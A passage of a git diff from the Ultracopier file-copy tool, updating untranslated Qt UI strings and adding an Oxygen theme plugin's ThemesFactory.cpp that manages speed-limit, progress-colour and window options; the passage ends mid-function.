+ <location filename="../../interface.cpp" line="1146"/>
+ <location filename="../../interface.cpp" line="1158"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1233"/>
+ <location filename="../../interface.cpp" line="1237"/>
+ <location filename="../../interface.cpp" line="1239"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
- <name>interfaceCopy</name>
+ <name>ThemesFactory</name>
<message>
- <location filename="../../interface.ui" line="35"/>
- <source>From:</source>
+ <location filename="../../ThemesFactory.cpp" line="223"/>
+ <source>Don&apos;t close if errors are found</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="69"/>
- <source>To:</source>
+ <location filename="../../ThemesFactory.cpp" line="224"/>
+ <source>Never close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="133"/>
- <source>Shutdown when is finish</source>
+ <location filename="../../ThemesFactory.cpp" line="225"/>
+ <source>Always close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="196"/>
- <source>0KB/sec</source>
+ <location filename="../../ThemesFactory.cpp" line="421"/>
+ <location filename="../../ThemesFactory.cpp" line="436"/>
+ <location filename="../../ThemesFactory.cpp" line="451"/>
+ <source>Select a color</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>interfaceCopy</name>
<message>
- <location filename="../../interface.ui" line="216"/>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="65"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="226"/>
<source>&amp;More</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="236"/>
+ <location filename="../../interface.ui" line="246"/>
<source>&amp;Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="250"/>
+ <location filename="../../interface.ui" line="260"/>
<source>&amp;Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="261"/>
+ <location filename="../../interface.ui" line="271"/>
<source>&amp;Cancel</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="276"/>
- <location filename="../../interface.ui" line="748"/>
- <source>Limit copy speed at:</source>
+ <location filename="../../interface.ui" line="329"/>
+ <source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="293"/>
- <source>Unlimited</source>
+ <location filename="../../interface.ui" line="485"/>
+ <source>Delete the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="323"/>
- <source>Copy list</source>
+ <location filename="../../interface.ui" line="540"/>
+ <source>Export the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="487"/>
- <source>Ctrl+F</source>
+ <location filename="../../interface.ui" line="566"/>
+ <source>Import the transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="591"/>
+ <location filename="../../interface.ui" line="621"/>
<source>Previous</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="598"/>
+ <location filename="../../interface.ui" line="628"/>
<source>Next</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="637"/>
- <source>Options</source>
+ <location filename="../../interface.ui" line="741"/>
+ <source>Interface</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="646"/>
- <source>Copy end</source>
+ <location filename="../../interface.ui" line="352"/>
+ <source>Move the selected items to the top</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="667"/>
- <source>At the end of the copy: </source>
+ <location filename="../../interface.ui" line="118"/>
+ <source>Close on transfer completion</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="706"/>
- <source>Don&apos;t close if errors are found</source>
+ <location filename="../../interface.ui" line="286"/>
+ <source>Limit copy speed to:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="711"/>
- <source>Never close</source>
+ <location filename="../../interface.ui" line="378"/>
+ <source>Move up the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="716"/>
- <source>Always close</source>
+ <location filename="../../interface.ui" line="404"/>
+ <source>Move down the selected items</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="727"/>
- <source>Speed limit</source>
+ <location filename="../../interface.ui" line="430"/>
+ <source>Move the selected items to the bottom</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="758"/>
- <source> KB/s</source>
+ <location filename="../../interface.ui" line="456"/>
+ <source>Add file/folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="790"/>
- <source>File collisions</source>
+ <location filename="../../interface.ui" line="511"/>
+ <source>Search</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="811"/>
- <location filename="../../interface.ui" line="871"/>
- <source>What to do: </source>
+ <location filename="../../interface.ui" line="663"/>
+ <location filename="../../interface.ui" line="732"/>
+ <source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="850"/>
- <source>Copy errors</source>
+ <location filename="../../interface.ui" line="683"/>
+ <source>Export the errors into transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="928"/>
- <source>Interface</source>
+ <location filename="../../interface.ui" line="722"/>
+ <source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="939"/>
- <source>Show speed as main informations</source>
+ <location filename="../../interface.ui" line="727"/>
+ <source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="976"/>
+ <location filename="../../interface.ui" line="778"/>
<source>Add file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="985"/>
+ <location filename="../../interface.ui" line="787"/>
<source>Add folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="994"/>
+ <location filename="../../interface.ui" line="796"/>
<source>Move file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1003"/>
+ <location filename="../../interface.ui" line="805"/>
<source>Move folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1012"/>
+ <location filename="../../interface.ui" line="814"/>
<source>Copy file(s)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../interface.ui" line="1021"/>
+ <location filename="../../interface.ui" line="823"/>
<source>Copy folder</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
- <name>options</name>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="253"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="205"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="44"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="50"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="67"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="96"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="103"/>
+ <location filename="../../themesOptions.ui" line="137"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="147"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="176"/>
+ <source>Start minimized</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="199"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="237"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="243"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="273"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="292"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../options.ui" line="20"/>
- <source>Show speed as main informations</source>
+ <location filename="../../themesOptions.ui" line="263"/>
+ <source>Show progression in the title</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../options.ui" line="33"/>
- <source>Start with more button pushed</source>
+ <location filename="../../themesOptions.ui" line="60"/>
+ <source>Always on top</source>
<translation type="unfinished"></translation>
</message>
</context>
diff --git a/plugins/Themes/Oxygen/ThemesFactory.cpp b/plugins/Themes/Oxygen/ThemesFactory.cpp
new file mode 100644
index 0000000..595ed71
--- /dev/null
+++ b/plugins/Themes/Oxygen/ThemesFactory.cpp
@@ -0,0 +1,476 @@
+/** \file factory.cpp
+\brief Define the factory core
+\author alpha_one_x86 */
+
+#include <QColorDialog>
+
+#include "ThemesFactory.h"
+
+ThemesFactory::ThemesFactory()
+{
+ optionsEngine=NULL;
+ tempWidget=new QWidget();
+ ui=new Ui::themesOptions();
+ ui->setupUi(tempWidget);
+ ui->toolBox->setCurrentIndex(0);
+ currentSpeed = 0;
+ updateSpeed();
+
+ qRegisterMetaType<QList<QPersistentModelIndex> >("QList<QPersistentModelIndex>");
+}
+
+ThemesFactory::~ThemesFactory()
+{
+}
+
+PluginInterface_Themes * ThemesFactory::getInstance()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, currentSpeed: %1").arg(currentSpeed));
+
+ Themes * newInterface=new Themes(
+ ui->alwaysOnTop->isChecked(),
+ ui->showProgressionInTheTitle->isChecked(),
+ progressColorWrite,progressColorRead,progressColorRemaining,
+ ui->showDualProgression->isChecked(),
+ ui->comboBox_copyEnd->currentIndex(),
+ ui->speedWithProgressBar->isChecked(),
+ currentSpeed,
+ ui->checkBoxShowSpeed->isChecked(),
+ facilityEngine,
+ ui->checkBoxStartWithMoreButtonPushed->isChecked(),
+ ui->minimizeToSystray->isChecked(),
+ ui->startMinimized->isChecked()
+ );
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(newInterface,&Themes::debugInformation,this,&PluginInterface_ThemesFactory::debugInformation);
+ #endif
+ connect(this,&ThemesFactory::reloadLanguage,newInterface,&Themes::newLanguageLoaded);
+ return newInterface;
+}
+
+void ThemesFactory::setResources(OptionInterface * optionsEngine,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ writePath
+ #endif
+ ,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ pluginPath
+ #endif
+ ,FacilityInterface * facilityEngine,const bool &
+ )
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath: "+pluginPath);
+ this->facilityEngine=facilityEngine;
+ if(optionsEngine!=NULL)
+ {
+ this->optionsEngine=optionsEngine;
+ //load the options
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("checkBoxShowSpeed"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("moreButtonPushed"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("speedWithProgressBar"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("currentSpeed"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("comboBox_copyEnd"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("showDualProgression"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("showProgressionInTheTitle"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("progressColorWrite"),QVariant(QApplication::palette().color(QPalette::Highlight))));
+ KeysList.append(qMakePair(QStringLiteral("progressColorRead"),QVariant(QApplication::palette().color(QPalette::AlternateBase))));
+ KeysList.append(qMakePair(QStringLiteral("progressColorRemaining"),QVariant(QApplication::palette().color(QPalette::Base))));
+ KeysList.append(qMakePair(QStringLiteral("alwaysOnTop"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("minimizeToSystray"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("startMinimized"),QVariant(false)));
+ optionsEngine->addOptionGroup(KeysList);
+ connect(optionsEngine,&OptionInterface::resetOptions,this,&ThemesFactory::resetOptions);
+ updateSpeed();
+ }
+ #ifndef __GNUC__
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"__GNUC__ is not set");
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"__GNUC__ is set");
+ #endif
+}
+
+QWidget * ThemesFactory::options()
+{
+ if(optionsEngine!=NULL)
+ {
+ bool ok;
+ currentSpeed=optionsEngine->getOptionValue(QStringLiteral("currentSpeed")).toUInt(&ok);
+ if(!ok)
+ currentSpeed=0;
+ ui->comboBox_copyEnd->setCurrentIndex(optionsEngine->getOptionValue(QStringLiteral("comboBox_copyEnd")).toUInt());
+ ui->speedWithProgressBar->setChecked(optionsEngine->getOptionValue(QStringLiteral("speedWithProgressBar")).toBool());
+ ui->checkBoxShowSpeed->setChecked(optionsEngine->getOptionValue(QStringLiteral("checkBoxShowSpeed")).toBool());
+ ui->checkBoxStartWithMoreButtonPushed->setChecked(optionsEngine->getOptionValue(QStringLiteral("moreButtonPushed")).toBool());
+ ui->showDualProgression->setChecked(optionsEngine->getOptionValue(QStringLiteral("showDualProgression")).toBool());
+ ui->showProgressionInTheTitle->setChecked(optionsEngine->getOptionValue(QStringLiteral("showProgressionInTheTitle")).toBool());
+ ui->alwaysOnTop->setChecked(optionsEngine->getOptionValue(QStringLiteral("alwaysOnTop")).toBool());
+ ui->minimizeToSystray->setChecked(optionsEngine->getOptionValue(QStringLiteral("minimizeToSystray")).toBool());
+ ui->startMinimized->setChecked(optionsEngine->getOptionValue(QStringLiteral("startMinimized")).toBool());
+
+ progressColorWrite=optionsEngine->getOptionValue(QStringLiteral("progressColorWrite")).value<QColor>();
+ progressColorRead=optionsEngine->getOptionValue(QStringLiteral("progressColorRead")).value<QColor>();
+ progressColorRemaining=optionsEngine->getOptionValue(QStringLiteral("progressColorRemaining")).value<QColor>();
+
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ ui->progressColorWrite->setIcon(pixmap);
+ pixmap.fill(progressColorRead);
+ ui->progressColorRead->setIcon(pixmap);
+ pixmap.fill(progressColorRemaining);
+ ui->progressColorRemaining->setIcon(pixmap);
+ updateSpeed();
+ updateProgressionColorBar();
+
+ connect(ui->alwaysOnTop,&QCheckBox::stateChanged,this,&ThemesFactory::alwaysOnTop);
+ connect(ui->checkBoxShowSpeed,&QCheckBox::stateChanged,this,&ThemesFactory::checkBoxShowSpeed);
+ connect(ui->minimizeToSystray,&QCheckBox::stateChanged,this,&ThemesFactory::minimizeToSystray);
+ connect(ui->checkBox_limitSpeed,&QCheckBox::stateChanged,this,&ThemesFactory::uiUpdateSpeed);
+ connect(ui->SliderSpeed,&QAbstractSlider::valueChanged,this,&ThemesFactory::on_SliderSpeed_valueChanged);
+ connect(ui->limitSpeed,static_cast<void(QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &ThemesFactory::uiUpdateSpeed);
+ connect(ui->checkBoxShowSpeed,&QAbstractButton::toggled,this,&ThemesFactory::checkBoxShowSpeedHaveChanged);
+ connect(ui->checkBoxStartWithMoreButtonPushed,&QAbstractButton::toggled,this,&ThemesFactory::checkBoxStartWithMoreButtonPushedHaveChanged);
+ connect(ui->speedWithProgressBar,&QAbstractButton::toggled,this,&ThemesFactory::speedWithProgressBar);
+ connect(ui->comboBox_copyEnd, static_cast<void(QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this,&ThemesFactory::comboBox_copyEnd);
+ connect(ui->showDualProgression,&QCheckBox::stateChanged,this,&ThemesFactory::showDualProgression);
+ connect(ui->showDualProgression,&QCheckBox::stateChanged,this,&ThemesFactory::updateProgressionColorBar);
+ connect(ui->showProgressionInTheTitle,&QCheckBox::stateChanged,this,&ThemesFactory::setShowProgressionInTheTitle);
+ connect(ui->progressColorWrite,&QAbstractButton::clicked,this,&ThemesFactory::progressColorWrite_clicked);
+ connect(ui->progressColorRead, &QAbstractButton::clicked,this,&ThemesFactory::progressColorRead_clicked);
+ connect(ui->progressColorRemaining,&QAbstractButton::clicked,this,&ThemesFactory::progressColorRemaining_clicked);
+ connect(ui->startMinimized,&QCheckBox::stateChanged,this,&ThemesFactory::startMinimized);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"return the options");
+ return tempWidget;
+}
+
+QIcon ThemesFactory::getIcon(const QString &fileName) const
+{
+ if(fileName==QStringLiteral("SystemTrayIcon/exit.png"))
+ {
+ QIcon tempIcon=QIcon::fromTheme(QStringLiteral("application-exit"));
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ else if(fileName==QStringLiteral("SystemTrayIcon/add.png"))
+ {
+ QIcon tempIcon=QIcon::fromTheme(QStringLiteral("list-add"));
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ else if(fileName==QStringLiteral("SystemTrayIcon/informations.png"))
+ {
+ QIcon tempIcon=QIcon::fromTheme(QStringLiteral("help-about"));
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ else if(fileName==QStringLiteral("SystemTrayIcon/options.png"))
+ {
+ QIcon tempIcon=QIcon::fromTheme(QStringLiteral("applications-system"));
+ if(!tempIcon.isNull())
+ return tempIcon;
+ }
+ return QIcon(QStringLiteral(":/Themes/Oxygen/resources/")+fileName);
+}
+
+void ThemesFactory::resetOptions()
+{
+ ui->checkBoxShowSpeed->setChecked(true);
+ ui->checkBoxStartWithMoreButtonPushed->setChecked(false);
+}
+
+void ThemesFactory::checkBoxShowSpeedHaveChanged(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("checkBoxShowSpeed"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("moreButtonPushed"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::comboBox_copyEnd(int value)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("comboBox_copyEnd"),value);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::speedWithProgressBar(bool toggled)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("speedWithProgressBar"),toggled);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::newLanguageLoaded()
+{
+ ui->retranslateUi(tempWidget);
+ ui->comboBox_copyEnd->setItemText(0,tr("Don't close if errors are found"));
+ ui->comboBox_copyEnd->setItemText(1,tr("Never close"));
+ ui->comboBox_copyEnd->setItemText(2,tr("Always close"));
+ emit reloadLanguage();
+}
+
+void ThemesFactory::checkBoxShowSpeed(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ Q_UNUSED(checked);
+ updateSpeed();
+}
+
+void ThemesFactory::minimizeToSystray(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("minimizeToSystray"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::alwaysOnTop(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("alwaysOnTop"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::showDualProgression(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("showDualProgression"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::startMinimized(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"the checkbox have changed");
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("startMinimized"),checked);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::on_SliderSpeed_valueChanged(int value)
+{
+ if(optionsEngine==NULL)
+ return;
+ if(!ui->checkBoxShowSpeed->isChecked())
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("value: %1").arg(value));
+ switch(value)
+ {
+ case 0:
+ currentSpeed=0;
+ break;
+ case 1:
+ currentSpeed=1024;
+ break;
+ case 2:
+ currentSpeed=1024*4;
+ break;
+ case 3:
+ currentSpeed=1024*16;
+ break;
+ case 4:
+ currentSpeed=1024*64;
+ break;
+ case 5:
+ currentSpeed=1024*128;
+ break;
+ }
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ updateSpeed();
+}
+
+void ThemesFactory::uiUpdateSpeed()
+{
+ if(optionsEngine==NULL)
+ return;
+ if(ui->checkBoxShowSpeed->isChecked())
+ return;
+ if(!ui->checkBox_limitSpeed->isChecked())
+ currentSpeed=0;
+ else
+ currentSpeed=ui->limitSpeed->value();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit newSpeedLimitation(%1)").arg(currentSpeed));
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::updateSpeed()
+{
+ if(optionsEngine==NULL)
+ return;
+ ui->label_Slider_speed->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->SliderSpeed->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->label_SpeedMaxValue->setVisible(ui->checkBoxShowSpeed->isChecked());
+ ui->limitSpeed->setVisible(!ui->checkBoxShowSpeed->isChecked());
+ ui->checkBox_limitSpeed->setVisible(!ui->checkBoxShowSpeed->isChecked());
+
+ if(ui->checkBoxShowSpeed->isChecked())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("checked, currentSpeed: %1").arg(currentSpeed));
+ ui->limitSpeed->setEnabled(false);
+ if(currentSpeed==0)
+ {
+ ui->SliderSpeed->setValue(0);
+ ui->label_SpeedMaxValue->setText(facilityEngine->translateText("Unlimited"));
+ }
+ else if(currentSpeed<=1024)
+ {
+ if(currentSpeed!=1024)
+ {
+ currentSpeed=1024;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(1);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*1));
+ }
+ else if(currentSpeed<=1024*4)
+ {
+ if(currentSpeed!=1024*4)
+ {
+ currentSpeed=1024*4;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(2);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*4));
+ }
+ else if(currentSpeed<=1024*16)
+ {
+ if(currentSpeed!=1024*16)
+ {
+ currentSpeed=1024*16;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(3);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*16));
+ }
+ else if(currentSpeed<=1024*64)
+ {
+ if(currentSpeed!=1024*64)
+ {
+ currentSpeed=1024*64;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(4);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*64));
+ }
+ else
+ {
+ if(currentSpeed!=1024*128)
+ {
+ currentSpeed=1024*128;
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("currentSpeed"),currentSpeed);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+ }
+ ui->SliderSpeed->setValue(5);
+ ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*128));
+ }
+ }
+ else
+ {
+ ui->checkBox_limitSpeed->setChecked(currentSpeed>0);
+ if(currentSpeed>0)
+ ui->limitSpeed->setValue(currentSpeed);
+ ui->checkBox_limitSpeed->setEnabled(currentSpeed!=-1);
+ ui->limitSpeed->setEnabled(ui->checkBox_limitSpeed->isChecked());
+ }
+}
+
+void ThemesFactory::progressColorWrite_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorWrite,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorWrite=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorWrite);
+ ui->progressColorWrite->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorWrite"),progressColorWrite);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::progressColorRead_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRead,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRead=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRead);
+ ui->progressColorRead->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorRead"),progressColorRead);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::progressColorRemaining_clicked()
+{
+ QColor color=QColorDialog::getColor(progressColorRemaining,NULL,tr("Select a color"));
+ if(!color.isValid())
+ return;
+ progressColorRemaining=color;
+ QPixmap pixmap(75,20);
+ pixmap.fill(progressColorRemaining);
+ ui->progressColorRemaining->setIcon(pixmap);
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("progressColorRemaining"),progressColorRemaining);
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
+
+void ThemesFactory::updateProgressionColorBar()
+{
+ ui->labelProgressionColor->setVisible(ui->showDualProgression->isChecked());
+ ui->frameProgressionColor->setVisible(ui->showDualProgression->isChecked());
+}
+
+void ThemesFactory::setShowProgressionInTheTitle()
+{
+ if(optionsEngine!=NULL)
+ optionsEngine->setOptionValue(QStringLiteral("showProgressionInTheTitle"),ui->showProgressionInTheTitle->isChecked());
+ else
